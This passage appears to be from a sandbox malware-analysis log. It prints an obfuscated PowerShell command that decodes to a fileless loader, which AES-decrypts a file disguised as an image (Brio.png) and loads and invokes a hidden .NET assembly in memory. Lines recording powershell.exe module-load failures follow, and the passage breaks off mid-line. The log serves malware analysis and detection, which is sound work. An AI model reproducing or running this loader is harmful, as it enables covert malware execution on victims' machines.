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TMQAxACIAOwKZLZOBKUATANAAoADQAKKZLZOBKUATACQAQQBsAGKZLZOBKUATwAbwBoAGEAKZLZOBKUATYQByAG4AcAKZLZOBKUATBwAHAAMQAxKZLZOBKUATADEAMQAxADKZLZOBKUATEAMQAxADEAKZLZOBKUATMQA9AFsAQQKZLZOBKUATBwAHAARABvKZLZOBKUATAG0AYQBpAGKZLZOBKUAT4AXQA6ADoAKZLZOBKUATQwB1AHIAcgKZLZOBKUATBlAG4AdABEKZLZOBKUATAG8AbQBhAGKZLZOBKUATkAbgAuAEwAKZLZOBKUATbwBhAGQAKAKZLZOBKUATAkAEEAbABsKZLZOBKUATAG8AaABhAGKZLZOBKUATEAcgBuAHAAKZLZOBKUATcABwADEAMQKZLZOBKUATAxADEAMQAxKZLZOBKUATADEAMQAxADKZLZOBKUATEAMQApADsAKZLZOBKUATDQAKAA0ACgKZLZOBKUATANAAoADQAKKZLZOBKUATACQAQQBsAGKZLZOBKUATwAbwBoAGEAKZLZOBKUATYQByAG4AcAKZLZOBKUATBwAHAAMQAxKZLZOBKUATADEAMQAxADKZLZOBKUATEAMQAxAD0AKZLZOBKUATQAAoACcAZgKZLZOBKUATBpAGwAZQA6KZLZOBKUATAC8ALwAvAEKZLZOBKUATMAOgAvAFUAKZLZOBKUATcwBlAHIAcwKZLZOBKUATAvAFAAdQBiKZLZOBKUATAGwAaQBjACKZLZOBKUAT8AQgByAGkAKZLZOBKUATbwAuAHAAbgKZLZOBKUATBnACcALAAnKZLZOBKUATADAAJwAsACKZLZOBKUATcAJwAsACcAKZLZOBKUATJwAsACcATQKZLZOBKUATBTAEIAdQBpKZLZOBKUATAGwAZAAnACKZLZOBKUATwAJwAnACwAKZLZOBKUATJwBNAFMAQgKZLZOBKUATB1AGkAbABkKZLZOBKUATACcALAAnACKZLZOBKUATcALAAnACcAKZLZOBKUATLAAnACcALAKZLZOBKUATAnACcALAAnKZLZOBKUATACcALAAnADKZLZOBKUATcAJwAsACcAKZLZOBKUATMAAnACwAJwKZLZOBKUATAnACwAJwAwKZLZOBKUATACcALAAnACKZLZOBKUATcALAAnACcAKZLZOBKUATLAAnACcAKQKZLZOBKUATA7AA0ACgANKZLZOBKUATAAoADQAKAAKZLZOBKUAT0ACgB0AHIAKZLZOBKUATeQB7AA0ACgKZLZOBKUATANAAoADQAKKZLZOBKUATAA0ACgAkAEKZLZOBKUATEAbABsAG8AKZLZOBKUATaABhAGEAcgKZLZOBKUATBuAHAAcABwKZLZOBKUATADEAMQAxADKZLZOBKUATEAMQAxADEAKZLZOBKUATMQAxAD0AJAKZLZOBKUATBBAGwAbABvKZLZOBKUATAGgAYQBhAHKZLZOBKUATIAbgBwAHAAKZLZOBKUATcAAxADEAMQKZLZOBKUATAxADEAMQAxKZLZOBKUATADEAMQAxACKZLZOBKUAT4ARwBlAHQAKZLZOBKUATVAB5AHAAZQKZLZOBKUATAoACcARgBpKZLZOBKUATAGIAZQByACKZLZOBKUAT4AUAByAG8AKZLZOBKUATZwByAGEAbQKZLZOBKUATAnACkAOwANKZLZOBKUATAAoADQAKAAKZLZOBKUAT0ACgANAAoAKZLZOBKUATJABBAGwAbAKZLZOBKUATBvAGgAYQBhKZLZOBKUATAHIAbgBwAHKZLZOBKUATAAcAAxADEAKZLZOBKUATMQAxADEAMQKZLZOBKUATAxAD0AJABBKZLZOBKUATAGwAbABvAGKZLZOBKUATgAYQBhAHIAKZLZOBKUATbgBwAHAAcAKZLZOBKUATAxADEAMQAxKZLZOBKUATADEAMQAxADKZLZOBKUATEAMQAuAEcAKZLZOBKUATZQB0AE0AZQKZLZOBKUATB0AGgAbwBkKZLZOBKUATACgAJwBNAGKZLZOBKUATEAaQBuACcAKZLZOBKUATKQA7AA0ACgKZLZOBKUATANAAoADQAKKZLZOBKUATAA0ACgAkAEKZLZOBKUATEAbABsAG8AKZLZOBKUATaABhAGEAcgKZLZOBKUATBuAHAAcABwKZLZOBKUATADEAMQAxADKZLZOBKUATEAMQAxADEAKZLZOBKUATLgBJAG4AdgKZLZOBKUATBvAGsAZQAoKZLZOBKUATACQAbgBVAGKZLZOBKUATwAbAAsAFsAKZLZOBKUATbwBiAGoAZQKZLZOBKUATBjAHQAWwBdKZLZOBKUATAF0AJABBAGKZLZOBKUATwAbABvAGgAKZLZOBKUATYQBhAHIAbgKZLZOBKUATBwAHAAcAAxKZLZOBKUATADEAMQAxADKZLZOBKUATEAMQAxADEAKZLZOBKUATKQB9AA0ACgKZLZOBKUATANAAoAYwBhKZLZOBKUATAHQAYwBoAHKZLZOBKUATsADQAKAA0AKZLZOBKUATCgANAAoADQKZLZOBKUATAKAH0ADQAKKZLZOBKUATAA0ACgANAAKZLZOBKUAToAZQB4AGkAKZLZOBKUATdAA=KZLZOBKUAT'.Replace('KZLZOBKUAT','')))))" (UID: 00000000-00007016)37:Tcd0,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load 